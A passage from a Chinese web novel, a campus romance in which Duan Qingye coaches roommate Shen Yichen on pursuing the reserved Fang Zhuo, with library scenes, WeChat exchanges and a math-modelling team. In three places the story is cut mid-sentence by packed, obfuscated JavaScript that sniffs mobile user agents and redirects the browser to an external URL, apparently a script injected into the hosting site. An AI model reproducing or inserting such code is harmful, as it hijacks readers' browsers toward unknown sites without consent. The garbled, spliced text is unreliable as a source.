【我拍了拍“肚脐眼”并戳了戳八块腹肌】 [肚脐眼]：？ [二辰]：你下课了吗？ [肚脐眼]：刚下 [二辰]：那个 [二辰]：你能不能莫名其妙来图书馆学个习…… [肚脐眼]：？ [肚脐眼]：本人没有提前两个月复习期中考的习惯。 [二辰]：哥 [肚脐眼]：图书馆哪层。 [二辰]：三层靠窗[/星星眼] [肚脐眼]：五分钟 [二辰]：[/小熊转圈圈][/小熊撒花花] 说是五分钟，实际上没两分钟段清野就到图书馆了。他随便顺了本教材，连包都没带，在三层兜了一大圈才找到人。 沈亦辰见他来，心里顿时充满了安全感。 段清野的视线在他和对面之间来回跳了跳，接着以一种耐人寻味的表情拉开椅子，坐了下来。 场上的局势一目了然。 找他来图书馆陪他的目的更是写在明面儿上。 段清野敷衍地翻了两页书，一条胳膊懒散地支起脑袋，余光一个劲往沈亦辰脸上瞄。 沈亦辰对上他这表情，自然是满满的心虚，索性不跟他对视。 三人度过了一小段“学习”时光，对面的手机铃声打破了短暂的宁静。 方濯习惯性秒挂，但瞥见来电显示后，他的注意力显然不在学习上了。 两分钟后，他收拾好桌面，背上书包离开了图书馆。 那毅然决然的背影让段清野得以松弛下来，饶有兴趣地看着沈亦辰：“怎么样，还要继续学吗大学霸。” 沈亦辰：“……” 两人在图书馆后面找了块空地走着。 “这就是你想的的追人计划？”段清野说，“怎么感觉成效一般啊。” 沈亦辰臊得慌：“你就别取笑我了。” “现在怎么说。” 沈亦辰无奈地看看他，“你有什么好法子吗？” 就目前的战况，沈亦辰是想破头皮都想不出出路了。 方濯这人，真的，太难撩了。 不，不能说太难撩，是太难接近了，边界感太强了。 “我自然有我的法子，”段清野精明着，“你得先答应让我帮你追。” 一副胸有成竹的样子。 ……确定只追过一个？ 沈亦辰在心里质疑，嘴上却没想多问：“你要真这么厉害，连方濯都有办法追，我还真得拜托你了。” 他倒是真好奇，天崩开局的配置，段清野究竟能怎么帮他力挽狂澜。 “其实你的思路是对的，这家伙除了上课，90%的时间泡在图书馆，多在他面前刷存在感没问题，刚开始就该制造各种机会偶遇。但是在正式行动之前，你得先给自己种心锚，你要不断主动。” “你和方濯都是不爱主动的人，那既然是你对他有情，就必须突破这一点。你得勇敢，你得主动，不能只做一个暗恋旁观者。突破不了这一点的话，永远没办法进行下一步。” “当然了，你习惯了你二十多年的思维模式，不太可能一下子从一个极端跳到另一个极端，总得有个循序渐进的过程。我想强调的是，想追方濯，你心里这道坎必须先迈过去。” 段清野说的没错，心里这道关是他目前最大的障碍。 每当他想勇敢一次时，都会被“最坏的结果”劝退。 “勇敢”二字说的容易，对他来说可谓难上加难。 迄今为止，他的这种畏难心态已经让他错过了各种各样的机会，但这一次，他不想逃了。 他要真正勇敢一次。 无论结果如何。 “嗯，我知道。”他坚定道。 “好。”段清野继续说，“像方濯那种人，你主动的过程中肯定会碰壁，你想好怎么应对了吗？” 沈亦辰最关心的也是这部分：“你说你说。” 段清野：“那你凑近点听。” 沈亦辰十分听话地把脸伸过去，只见那人歪过头，在他耳边说了句悄悄话：“请听下回分解。” 沈亦辰：“？” 胃口吊到这个份儿上了，沈亦辰能让他吗，对着他的脖子就是一顿掐，“你到底说不说，哪有人说话说一半的！” 段清野：“搁这给我挠痒痒呢。” 沈亦辰收紧了手上力道：“再不说灭口了。” “灭吧，死你手上我也值了。” “……” 简直是个二皮脸。 沈亦辰一脸幽怨地盯着他，气鼓鼓的。 “追人很心切嘛，”段清野笑着掐了掐他的脸，“看来你真的很喜欢他咯。” “你别转移话题。”沈亦辰移开他的手。 “好了，不逗你了，留个悬念明天再说。哥今天好累了，理解一下。” “要是明天再耍我，我真的会灭口喔。” “放心吧，说到做到。” 沈亦辰严重怀疑，他本人并没有想好完整方案，耍赖纯属在为自己拖延时间。 行，那就给他一天时间想，看他能耍出什么花招。 - 种心锚，种心锚。 沈亦辰没理解种心锚到底是什么，只知道自从段清野给他种了这个心锚，他连做梦都想着段清野说的“解决方案”。 想得觉睡不好，饭也吃不下，恨不得立马把段清野揪出来鞭挞审问一通。 偏偏今天段清野从早到晚满课，在宿舍根本没办法碰上面。 沈亦辰只好给他发微信。 [二辰]：第二天了，您的完美方案呢？[/猫猫敲碗] [肚脐眼]：微信不太好说 [肚脐眼]：等我下晚课 [肚脐眼]：亲自面授 [二辰]：你说实话，是不是压根没想好 [肚脐眼]：你太小瞧我了 [肚脐眼]：等下 [肚脐眼]：我马上进实验室了 [肚脐眼]：回去肯定跟你好好说，放心 放心。 放哪门子心？ 总之他今天，绝对不能像个傻子一样被段清野耍了。 沈亦辰在宿舍群翻出了他的课表，发现他今天的课确实满满当当，也就没法多说什么。 晚上九点四十下课，到宿舍得十点起步了，那他得再等上十个小时吗？！ 等不了。 他自认为不是多急性子的人，但被这么吊胃口，任谁都受不了。 一气之下，他打印了一份段清野的课表夹在书里，精确算好了到物院每个教室的时间和路线，准备挨个挨个去门口蹲人。 此时此刻，他正在某间教室门口的长椅上坐着。 下课铃声一响，狭窄的教室门涌出一大批不修边幅的理工男，看得人心如一潭死水。 更烦躁的是，直到教室空了他也没看见段清野。 没道理啊。 难道正好逃课了？ 不甘心的沈亦辰随便逮了个理工男问：“同学你好，请问你知道段清野同学在哪吗？这节课他是不是没来上？” 那人看清他的脸后，愣愣地摇头说：“没，没，我和他不太熟。” 沈亦辰失落一阵，“好吧，不好意思打扰了。” 男生正准备走，想了想又折了回来：“那个，同学，请问你也是我们物理学院的吗？好像以前没见过你欸。” “嗷，我不是，我建筑系的。” “嗐，我说呢，我们要有这么帅的男生不可能现在才发现。” “谢谢，我是第一次来物院，我就是来找段清野的。” “果然帅哥都和帅哥玩。” 沈亦辰尴尬地笑笑。 男生又说：“嗷对了，我想起来，我们上一节是去实验室的，他那节课是在的，而且我记得他一直留到最后，应该到现在还没走。你要是急的话要不要去那儿找他？” 总算抓住点有用信息。 根据过往经验，只要段清野很久没回他微信，那就是人在实验室。 就目前已知信息，十有八九就是了。 “我们那个楼有点偏僻不太好找，这样吧，你也别自己找了，反正下节课还有一会儿，我带你去吧。” “真的吗，太感谢了。” 两人闲聊了一路，沈亦辰得到的有效信息越来越多。 比如段清野每次早课都卡着八点零二分进教室，比如哪几门课的老师最喜欢留他，比如哪几门课他从来没来过，再比如下完课最常走哪条道回男寝。 沈亦辰一条一条在备忘录里记下。 毕竟这位男同学和段清野不熟，把他榨干了也就只能榨出来这么多。 没关系，就目前来讲也够用了。 等他把每一条都记熟了，看这家伙还怎么躲。 “暂时我就了解这么多了，不过我跟他一个专业的，大部分时间都能看见他。” “同学，我们加个微信吧，以后要是我找不到段清野，你帮我留意一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521051|170720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，改天请你喝奶茶。” “举手之劳啦别客气，对了给我个备注吧。” 不知不觉走到实验楼底，男生将他带到实验室对面的空教室，“你在这里等一下，我估计他们快结束了。” “好的，今天谢谢你。” …… 时间一点一滴流逝，不知道什么时候，沈亦辰居然趴在桌上睡着了。 那边段清野刚结束实验，橡胶手套一摘，就马不停蹄地查看未读消息。 果然，沈亦辰找不到他急得要命，甚至跑实验楼来蹲他了。 令人哭笑不得。 就那么想知道怎么追到方濯吗。 急到一刻也等不了了是吗。 他盯着某样器材发了会儿呆，跟教授道了别。 对面空教室的门半敞着，里面没开灯，男生漂亮的睡颜在昏暗中格外晃眼。 段清野小心翼翼地推开门，悄无声息地坐在他前面的位置，趴下来看了看。 也不吵他也不碰他，只是看。 看了好一会儿不满足，又用手指轻轻拨他的上睫，或者拨他的头发丝。 这样还没醒，只是微微蹙眉。 像只被惊扰但温顺的鹿。 “沈亦 辰。” 叫名字的声音很轻，几乎被窗边的风声完全淹没。 “再不醒不教你咯。”他捻了捻他柔软的耳垂。 这句话似乎很管用，一下子就把沈亦辰从梦境拉回了现实。 他和对面对视了两秒，飞也似地直起腰，“你，你结束了？……现在几点了？” 他居然以这么难受的姿势睡着了？ 直起腰的瞬间，他只觉从脖颈到肩胛骨酸成了一大片，连着骨头都麻。 “九点了。”段清野指指钟，“你从什么时候来的？” “我不记得了。”沈亦辰艰难地扭动脖子，“你什么时候出来的？” 段清野说：“刚刚。” 沈亦辰还不十分清醒：“哦。” 段清野：“废寝忘食求学啊你。” 沈亦辰斜他：“谁让你这么狡猾。” 段清野：“都说回去肯定告诉你，还怕我跑了不成。” 沈亦辰：“师父都领进门了，当然怕你跑了。” 段清野笑：“那你有没有听过师父领进门，修行在个人？” 沈亦辰：“可是师父还什么都没教呢，我修行不了。” 段清野也不多说废话，直接切入正题：“我让你种心锚，你种好了？确定能迈出第一步了？” 沈亦辰斩钉截铁：“确定。” 段清野：“不管遇到什么挫折都不气馁？” 沈亦辰：“是。” 段清野：“好。” 段清野：“其实下一步很简单，就是如果你在追方濯的过程中碰了壁，你需要拉个救兵帮你解围。” 段清野：“而那个救兵，将会是我。” 沈亦辰露出一知半解的神色。 段清野继续解释：“打个比方，昨天在图书馆你做得很好。你在方濯面前刷了存在感，但你又搬出了我，既让他放松了戒备心，没办法怀疑你目的不纯，又保全了你自己的脸面。想要突破他过强的边界感，只能先采用这种保守型进攻的方式，明白了吗？” 沈亦辰认真消化了一下，明白了。 不过转念一想，这不就是他自己的思路，歪打正着了吗？ 他的大方向没错啊！ 但人有时候很奇怪，明明自己也可以完成的事，就是觉得有个老师带着更踏实。 以前上学就是，明明他自学能达到一样的效果，却偏偏觉得上个辅导班更有安全感，为此还浪费了不少钱。 ……慢着，钱？ 沈亦辰顿时想起至关重要的一环，“先停一下，你先告诉我，学费怎么收？” 段清野：“一节课两百块。” 沈亦辰：“……” 比高中数学一小时补习费还贵，而且还不保证结果。 难怪这人非要让他拜他为师，合着真实目的是想赚外快！ 狡猾的人类，从头精明到尾！ 不过客观来说，恋爱也是门学问。 这其中的弯弯绕绕，可比高中数学难多了。 况且网络上那么多情感博主，一收费就是四位数，人家货真价实大帅逼亲自教学才收两百，倒也不为过。 就这么一来二去，沈亦辰把自己说服了。 “叫一声哥，抵一百块。”段清野竖起一根手指。 然后缓缓变成两根：“要是…能叫一声老师的话，抵两百块。” 正准备转账的沈亦辰：“？” 12. 帮你追 并不想被他爽到的沈亦辰：“我选择转账。” 段清野收回手指：“那不教了。” 沈亦辰也不示弱：“那不学了。” 段清野：“这么有骨气，就不怕我直接告诉方濯？” 沈亦辰：“你不会的。” 段清野：“我怎么就不会。” 沈亦辰：“我说你不会，你就肯定不会。” 段清野：“这么相信我啊。” 沈亦辰：“嗯，相信你。” 段清野顿了一秒，“这么轻易相信别人可不行。” 况且他还不是什么好东西。 沈亦辰说：“我就相信你。” 段清野笑了：“为什么相信我？” 沈亦辰：“我们不是好兄弟吗？” 段清野：“……” 算了，当他没问。 “言归正传，我就是想借此机会提升一下自己的段位，顺便帮你一下而已。”他解释道说，“所以不收学费，我也不差那点钱，而且我也不能跟你保证一定能成功。” 感情这玩意，可比数学题难多了。 自身努力是一部分，更多的靠玄学，靠感觉。 天时、地利、人和，少哪一样都成功不了。 但既然有心争取，刷刷经验值总是要的。就把追方濯当作一项攻略游戏，不把目标放在成功，而放在涨经验值上，或许效果会更好。 心锚种得差不多了，沈亦辰决定正式启程，轻装上阵。 沈亦辰趴在桌子上，掀起眼皮看他，“所以遇到任何情况，你都可以帮我打掩护吗？” 段清野咂咂嘴，“看心情。” “你刚才不是这么说的，段老师。” “叫我什么？” “你明明就听见了，已经抵两百块了。”沈亦辰竖起四根手指，在他手臂上戳了戳，“再叫一声就四百块了，我亏了哦。” 段清野扭头对上他那双亮晶晶的眼睛，竟一句骚话也怼不回去。 光顾着笑了。 原来真正有天赋的高手在这儿呢。他想。 - 回去的时间已经不早了，寝室里的两人照旧一人一台电脑，一个打游戏一个敲代码。 姜旭连着输了四五把，直接撂挑子不干了，哭哭啼啼地跑过来抱住沈亦辰：“呜呜呜我今天太衰了，需要香香软软的小辰辰安慰。” 段清野一把把人扯开，“犯的什么病？” “段清野！你还敢说！”姜旭推他一下没推动，反而自己被弹回了书桌前，这下更委屈了，“呜呜呜你赔我女朋友！你赔我！从今天起我跟你不共戴天！” 段清野先把旁边人拉到身后，拖了张凳子坐下，“没头没尾的，你今天忘吃药了？什么女朋友不女朋友的，话说清楚，别莫名其妙给我扣帽子。” 于是姜旭开始大吐苦水：“新生聚餐那天我加了一个学妹，长得贼漂亮，她跟我聊了大半个月，还经常约会，我以为暧昧得差不多了，我都快表白了，结果你猜猜怎么着？她今天居然问我能不能帮她追你？？？！！！我真的，你想让我当军师就直说，我就不明白，这年头怎么军师都要先被骗感情啊！小辰辰，你能懂我吗？” 沈亦辰不懂。 沈亦辰沉默了。 沈亦辰抬头瞥瞥他的军师。 军师一脸平静道：“那不也是你心甘情愿被骗感情，怨不得别人。” 姜旭：“你好意思还说！我的爱情都毁在你手里了！” 段清野拍他的肩膀：“没事，你想想看，虽然你失去了一段根本没开始的爱情，但你我的友情也岌岌可危了呀，这么一想，是不是就好多了？” 姜旭斜他：“谢谢，太会安慰人了，你舔一口嘴唇会不会被自己毒死。” 那边的方濯自动屏蔽了他们的谈话，突然插了句：“有人想参加数学建模大赛么。” 姜旭：“太权威了哥，跟正事没关系的事你真的一点也不关心啊。” 人家段清野就不一样了。 除了正事以外的事，啥他都关心，连帮人追人的活都能包揽。 想到这儿，沈亦辰不禁笑了出来。 还没笑完，他就看见段清野朝他眼神示意。 过了三秒他才反应过来，连忙说：“那个，我想参加。” 方濯点头，“嗯，还差一个。” 沈亦辰：“那加段清野吧，他也想参加。” 段清野：？ 方濯：“好，我编程手，剩下两个你们挑。” 沈亦辰：“我想做论文手。” 方濯：“那段清野建模手，我们抽个时间讨论下选题。” 沈亦辰答应得爽快：“好。” 段清野：？ 好在哪？ 一低头，他就看见自己被方濯拉进了一个三人小组，群名为“数学建模组队”。 [fz]：[文件]*7 [fz]：这是我目前的一些想法 [fz]：你们有其他想法也可以发上来 瞅着这些文件，沈亦辰头皮开始发麻，并为自己刚才的爽快感到惭愧。 他切出群聊，点开了和段清野的对话框。 [二辰]：你没问题吧哥 [肚脐眼]：挺好的 [肚脐眼]：有一种不顾我死活的美感。 [二辰]：你说遇到困难可以找你当救兵，我下意识就…… [二辰]：我错了。 [二辰]：啊啊哥你要是太为难的话，我就找别人 [肚脐眼]：别 [肚脐眼]：不为难 [肚脐眼]：建模而已，小问题 [二辰]：真的吗，千万别逞强 [肚脐眼]：正好你俩有机会一起相处，还能随时搬我当救兵 [肚脐眼]：两全其美 不知道是不是沈亦辰的错觉，他似乎从这两行字里读出了一丝阴阳怪气的意思来。 [肚脐眼]：要是我干不了就直说了 [肚脐眼]：别担心 沈亦辰这才放下心来。 也是，以段清野的个性，真感觉为难的话，不至于忍气吞声。 [二辰]：那就好 - 组队完成后的第一个周末。 早晨七点，沈亦辰看见方濯在群里的消息。 [fz]：我约了宏远楼八点的自习室， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521052|170720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 402 [fz]：你们记得来 [fz]：@所有人 懒觉计划取消。 沈亦辰在群里回了个收到，一骨碌从床上弹起，顺着爬梯下来，看见段清野还四仰八叉地睡着。 一半被子快拖到地上，上身的T恤直接搓到胸口以上，下身的短裤被他扒下去三分之一，露出灰色内裤的边缘。 看上去无比滑稽。 沈亦辰被他的睡姿逗笑了好一阵，视线突然下滑到了胯间。 随着呼吸起伏，一条人鱼线若隐若现。 视线久久在此处驻足。 下一秒，他倏地对上一双微睁的，朦胧的眼睛。 他迅速偏过头，脸上闪过一瞬的做贼心虚，“你，你看一下群里消息。” 说着段清野就拿起手机，点开微信。 看完了方濯的三条消息，他直接两眼一抹黑：“这他妈是魔鬼吧。” 沈亦辰坐在他床边，好言相劝道：“我知道你想睡懒觉，这样，等讨论完选题你再回来睡回笼觉。” 段清野用力掐掐眉心，“你都不困？” 沈亦辰：“我刚才洗了把脸，还好。” 段清野：“是哦，一听是方濯，你激动还来不及呢，怎么会困。” 沈亦辰：“不是你说我要支棱起来的嘛。” 连早上七点起都能忍，确实是追人心切，真爱无敌。 想到这里，段清野忽然也不怎么困了：“要是我不去会怎样。” “那我拖你去。” “你拖得动我？” “不试试怎么知道。” 段清野举起双臂，“那你试试。” “你确定要和我比力气？”沈亦辰站起来握住他的双手，“我可是扳手腕0败绩选手。” 段清野艰难地坐起来，把腿放到床下，“给你降低点难度，坐着拖吧。” 于是，在个头和体型的绝对压制下，沈亦辰手上稍稍发力，瞬间把段清野连人带被子拽了起来。 结果还没来得及得意，对面的惯性作用便以排山倒海之势朝他袭来，将他整个人往门板上挤。 沈亦辰本能地松开手，以拥抱的姿势接住了对方，背部同时与寝室门重重相撞，发出了一声巨大声响。 他被禁锢在门板和一堵人墙之间，动弹不得。 好在后脑勺被一只大手护着，没和背部一样遭殃。 段清野的肩膀很宽厚，几乎能遮挡住他大部分的视野，腰部却相对较窄，两条胳膊很容易能环上一圈。身上的温度很高，隔着层衣服都能感受到热量。 再往上看，还能看见轻轻滚动的喉结。 “沈亦辰。” “嗯？” “…你准备抱到什么时候。” 感官的刺激过于全面，导致沈亦辰才意识到，这是一个结结实实、毫无缝隙的拥抱。 段清野本来还困得头晕着，被沈亦辰整这么一出，总算是清醒了一些。 少顷后，沈亦辰松开手，尴尬地不知道往哪看，“…我再去洗把脸。” “…嗯。” 段清野在原地缓了一小会，悄悄扭头，看见沈亦辰后颈那儿红了一大片。 13. 帮你追 两人简单洗漱好，沈亦辰背上书包，看见段清野拎着个电脑包站在门口，领子歪在一边，炸毛的头发更是透着淡淡的死意。 “等下，再帅也不能这样就出门吧。”沈亦辰走过去，很自然地帮他正了正领子，拨了拨头发。 “敢这个点逼老子出门的，他还是第一个。”段清野任由他摆弄着，眼里怨念深重，“要不是他是你心上人，我一定杀了他。” 沈亦辰说：“那你杀吧。” 段清野冷哼一声，“可别了，你舍不得呢。” “如果是你杀的，我不怪你。” “真的？” “真的。” “真杀了你又不乐意了，”段清野瘪瘪嘴，“算了，我可不能当那罪人。” “好啦，不开玩笑了，我们现在走吧？” - 周末的早晨，整个校园空荡荡的，连树上的鸟鸣都让人直犯困。 两人在校园晃了两圈，中途段清野困得都快撞树上了，还是沈亦辰搀着才勉强愿意继续走。 “不知道还以为你醉了呢，至于吗。” “魔鬼，真的是魔鬼。”快爬到四楼时，段清野忍不住道，“你能不能换个人追。” “哪那么容易换，我很专一的。” “哦，是吗，有多专一。” “这么说吧，我已经喜欢他五年了，五年。”沈亦辰摊开五指，在他面前晃了晃，“你想想，五年欸，你能做到五年只喜欢一个人吗？” “怎么不能。”段清野说，“这很难么。” “对你来说应该很难。” “那你小瞧我了。” 这话自然是毫无说服力的。 顶着这样一张脸，选择压根多得数不过来。 论专一，他还真不太信。 也就是现在没遇到感兴趣的人，在这方面没想法罢了。 要真开窍了想谈了，那还不得每根头发丝都谈一个？他太懂了。 稍微有点姿色的都这样，何况段清野这种的。 对外说的好听是母胎单身，实际上还不知道谈了多少个，暧昧过的女生估计更是数不胜数。 说有追人“天赋”的人还能是什么新手，搁谁能信服？谁信服沈亦辰都信服不了。 两人边聊边推开402的门。 咚咚咚—— 沈亦辰试探地敲敲门，“方……呃，组长，我们来了。” 方濯正以一种极板正的坐姿坐在中央，电脑屏幕的白光反射在脸上，看不清他的表情，“坐。” 段清野眉头紧皱：“我说，下次你能不能先问下我们的时间合不合适？” 方濯：“我昨晚发的文件有写开会日程，你们没有异议。” 段清野：“谁大半夜点开那文件看？” 方濯：“我发完就默认你们看了。” 段清野：“默认？” 一个字都懒得跟他们多说是吧？ 眼看着两人都快吵起来了，沈亦辰摇摇段清野的胳膊，小声道：“别生气，下次我提前日程看好跟你说。” 呦。 还挺向着他。 所谓被爱的都有恃无恐？ 方濯：“我重新整理了下选题，发群里了。” 段清野无语凝噎地坐下来，不情不愿地打开电脑。 与此同时，稳坐如山的方濯忽然站了起来，“我出去接个人，你们先看。” 段清野：“接谁？我们组还有第四个人？” 方濯走到门口才淡淡回了句：“我哥。” 等段清野再想问点什么，人已经走远了。“原来他还有个哥哥呢。” 沈亦辰点头，“对，不过不是亲生的，他是重组家庭。他哥也是京大的校友，比我们高好几届，已经毕业了。” 段清野意味深长地看他，“这事都打探清了，背调工作做的不错嘛，挺好挺好。” 沈亦辰：“……” ……怎么把他说得像个有窥私癖的变态？ “才没有，是他亲口告诉我的。” “亲口？” 都发展到能分享家庭情况的程度了？ 什么时候的事？ “新生聚餐那天你没来，我跟他一起走的，你忘了？顺路就聊上了。” 段清野思索一阵，笑了，“他连这么私人的事都跟你说，沈同学，看来你很有戏。” “真的么？” “不确定有没有好感，但至少对你不排斥。他这种人，能不排斥就已经是个挺不错的开局了。” 有段清野这句话，沈亦辰底气更足了：“而且从他的字里行间，我能感觉他跟他哥关系很亲近。” “哦？” 能用到亲近一词，还真是令人惊讶。 方濯这种人，估摸着跟爸妈都谈不上亲近，却能跟一个没有血缘关系的哥哥亲近？ 他想象不出来，方濯跟一个人亲近的样子，沈亦辰也想象不出来。 只能说这个哥哥，一定不简单吧。 说着说着门突然被打开，两人齐刷刷往门口望。 方濯走在前，身后的男人与他隔着一段距离，两手插着兜。 男人比方濯矮一些，身着一套黑色西装，领口微微敞着，靠近能闻到一股淡淡的古龙香水味。 沈亦辰对男人的第一印象，帅。 很成熟的帅，很有男人味的帅，气质很独特的帅。 很难形容的一种帅。 见方濯直接坐下了，段清野努嘴道：“这你哥，不介绍一下？” “嗐，他就那样，我自我介绍一下好了。”男人率先一步开口，“我是方濯的哥哥，我叫边越。听方濯说你们在准备数学建模大赛，让我来看看，帮帮忙。” 段清野：“想不到您毕业这么久，还有这方面经验呢。” 边越说：“偶尔会带带辅导，不过今年工作忙，要不是方濯需要，我也就不接了。” 沈亦辰伸手示好：“你好边越哥，我是方濯的室友。” 段清野：“真就见谁都叫哥是吧。” 沈亦辰：？ 边越：“你们两个，都是方濯室友？” 沈亦辰：“对，我叫沈亦辰，他叫段清野。我们几个今年开学才分到一起。” “那我可要拜托你们多担待了。我这个弟弟呀，可难搞。” 段清野忍不住附和：“那确实。” “他吧，就是性子冷了点，但他没有恶意，你们千万别觉得他是针对你们。有啥集体活动多带带他，我也想让他多交点朋友，别天天一个人闷在那儿，我都怕他闷坏了。” 这哥语重心长说了一大堆，方濯只坐在那一言不发，怎么看也不像多“亲近”的样。 沈亦辰礼貌回到：“放心吧，我们相处得挺好的，而且上次新生聚会还跟我们一起参加了呢。” “新生聚会……”像是想到什么，他朝方濯瞟了眼，在触碰到对方的视线后又迅速收了回来，“嗯，哦对，我想起来了，这不挺好，多社交。” 沈亦辰回忆起来方濯说的话，笑着说：“对了，那家餐厅还是韩式料理，听方濯说你挺喜欢的，可惜你没来。” “我那当时有事……不说这个了，那我们开始吧，嗯，你们进度到哪了？我看看。” 方濯：“还没正式开始。” 沈亦辰也觉得奇怪。 方濯明明和哥哥关系很好，怎么这会儿看起来又并不那么好。 段清野就更觉得奇怪了。 以方濯的智商和内卷程度，不至于还需要他哥辅导。 所以让他哥大驾光临，到底演的哪一出？ 难道只是为了促进兄弟感情？ 关键是方濯这家伙的概念里，真有感情这种东西吗？ 总而言之，这两人的关系总结起来就四个字——匪夷所思。 不过没人对别人的家事有太大兴趣，两人也都没往深了想。 接下来的两个半小时，边越详细解释了大赛的时间线和各个阶段的任务，以及以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521053|170720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往自己带出来比较成功的案例。 只不过现场除了沈亦辰在，似乎没有其他人在听。 方濯注意力还是自己手头的东西上，段清野则支着脑袋，眼睛正大光明地闭着，不知道是在冥想还是已经睡着了。 沈亦辰：……。 等记完笔记，他才发现不对劲：“边越哥，我刚看了一下，你说的这些方濯发的文件里都有提到。” “嗯？”边越扭过头，“臭小子，那你不都会么，还让我跑来辅导？” 方濯眼皮都没抬，“不然你会来么。” “现在都会跟哥耍心眼了？谁教你的？你知不知道今天我公司——” “你逼的。” 边越被他这话堵得语塞。 他开始仔细回想，他这弟弟是从什么时候被“他逼的”学坏的。 沉思片刻，他脱掉外套站起来，挽了挽袖子说：“…跟我出来。” “怎么了。” “谈谈。” “不想。” “轮得到你想不想？出来。” “我知道你要说什么。” “知道什么你知道，别一个人搁这瞎琢磨。” “我不想听。” “再跟我犟一个试试呢，非得在你同学面前丢人是吗？” 沈亦辰被吓得半个字都不敢吱，只能假装盯着电脑屏幕。 虽然他完全听不懂两人的加密对话，但明眼人都看得出，这兄弟俩闹别扭了。 “再说一遍，出来。”边越掐着腰，“不听话我以后都不来了。” 这话貌似特有威慑力，方濯没再反驳什么，放下电脑就出去了。 人走之后，沈亦辰小心翼翼往外张望，“段清野，你说他们不会打起来吧，我们要不要出去拉架。” 段清野眯着眼，“放心，小打小闹而已。” “你怎么知道？” “直觉。” “……”好一个直觉。 “比起那个，还不如趁机好好补个觉，最好让他们多打一会。” “…您还真是松弛。” “好困啊沈亦辰。” 沈亦辰笑，“那你就睡，我帮你打掩护。” 段清野转转脖子，“不行，这个姿势不舒服。” “那你想怎么睡？” “你肩膀……借我靠靠？” 语气随意，但带着试探意味。 空气静默了0.1秒过后，段清野决定改选PlanB：“算了，我就趴一会。” “喏，你靠吧。”沈亦辰点点左肩，“那有什么的，这样你不是更舒服。” 段清野头歪到一半，“那我可不客气了？” “谁让你客气了？” “那你帮我把风。” “嗯，等他们回来我喊你。” “我很重，你会不会被我压坏。” “那你也小看我了。” 等那颗头结结实实压下来，沈亦辰才切实感觉到沉甸甸的重量。 当然扑面而来的，是头发刚洗完的清香。 这人身上的肉硬梆梆的，头发丝的触感却很软，一小簇扫到脸上，却一点都不觉得痒。 沈亦辰像发现什么新大陆似的，捻了几根玩了玩，顺便打了个结。 “我的头发好玩吗。” 沈亦辰心脏一颤，“…你怎么还不睡，快点睡觉，等他们回来你又睡不成了。” “有人偷偷干坏事，我总不能当不知道。” 沈亦辰用小指把那绺结挑开，笑道，“这就叫坏事了？小心我趁你睡着，在你脸上画龟。” “画龟可以，画□□不行。” ？？？？？？？？ 这是睡着了开始说胡话了？？？？？？ “我真不至于这么变态，哥。” “不好说，知人知面不知心。” “……” “有时候看着越花的越纯爱，看着越纯的越变态。” “…………”